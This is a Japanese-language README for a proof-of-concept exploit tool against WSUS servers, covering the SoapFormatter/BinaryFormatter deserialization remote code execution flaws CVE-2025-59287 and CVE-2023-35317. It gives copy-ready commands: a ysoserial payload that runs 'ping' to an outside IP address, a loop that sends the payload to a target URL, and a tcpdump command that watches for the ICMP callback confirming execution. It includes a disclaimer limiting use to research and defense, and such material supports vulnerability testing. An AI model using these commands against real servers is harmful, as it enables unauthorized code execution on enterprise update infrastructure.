CVE-2025-59287 / CVE-2023-35317 PoC

CVE-2025-59287 の詳細: WSUS における SoapFormatter RCE: https://shellcode.blog/wsus-cve-2025-59287-investigation/

本ソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナーは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。

使用方法

必須フラグ:

• --target-url – ターゲット WSUS サーバーのベース URL（例: http://WIN-246JC0TE3BB.vuln.local:8530）
• --cve – CVE-2023-35317 または CVE-2025-59287 のいずれか

オプションフラグ:

• --dns-name – SOAP リクエストで使用されるクライアント DNS 名（デフォルト: bugcrowd.local）
• --random – --dns-name の先頭にランダムなサブドメインを付加し、実行のたびに新しいクライアントとして表示されるようにします
• --payload – カスタムの base64 エンコードされた ysoserial ペイロード。省略した場合、選択した --cve 用の内蔵ペイロードが使用されます
• --debug – 詳細なデバッグログを有効にします（[DEBUG] 行）

CVE-2025-59287

1. python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2025-59287 --random

手動トリガー – CVE-2023-35317

1. （オプション）内蔵ペイロードを使用したくない場合（または内蔵ペイロードに依存したくない場合）は、Ysoserial.Net を使用してペイロードを生成します。
2. 実行: python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --dns-name bugcrowd.local --cve CVE-2023-35317 --random
3. WSUS コンソールを開きます

自動トリガー – CVE-2023-35317

1. ./ysoserial.exe -g RolePrincipal -f BinaryFormatter -c 'ping 18.118.100.100' -o base64（または --cve CVE-2023-35317 用の内蔵ペイロードに依存する場合もあります）
2. for i in `seq 1 300`; do sleep 1; python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2023-35317 --random ;done
3. 1～3分待つと、サービスのプロセス下に生成されます。
4. ICMP接続を監視: sudo tcpdump -l -n -i any icmp | while read line; do echo "$line"; echo -ne '\a'; done